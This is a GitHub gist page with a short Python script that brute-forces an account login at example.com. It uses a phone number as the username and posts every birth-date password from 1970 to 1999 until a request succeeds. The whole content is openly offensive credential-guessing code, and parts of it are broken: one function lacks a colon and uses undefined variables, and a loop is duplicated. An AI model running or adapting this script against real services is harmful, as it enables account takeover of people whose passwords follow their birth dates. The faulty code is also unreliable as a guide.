Last active
January 20, 2019 07:22
-
-
Save weinbergdavid/2fd1436022c35342572de388926ecfc3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
def check_password(phone_number, password) | |
data = {"username": phone_number, "password": f'{day}{month}{year}'} | |
res = requests.post('https://example.com/login', json=data) | |
if res.status_code == 200: | |
return True | |
return False | |
def known_passwords(phone_number): | |
for day in range(1, 32): | |
for month in range(1, 13): | |
for year in range(1970, 2000): | |
password = f'{day}{month}{year}' | |
data = {"username": phone_number, "password": f'{day}{month}{year}'} | |
res = requests.post('https://example.com/login', json=data) | |
if res.status_code == 200: | |
return password | |
return None | |
def birth_date_brute_force(phone_number): | |
for day in range(1, 32): | |
for month in range(1, 13): | |
for year in range(1970, 2000): | |
password = f'{day}{month}{year}' | |
if check_password(phone_number, password): | |
return password | |
return None | |
password = birth_date_brute_force("<phone number>") | |
if password is not None: | |
print(f"found password!!! {password}") | |
password = known_passwords("<phone number>") | |
if password is not None: | |
print(f"found password!!! {password}") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment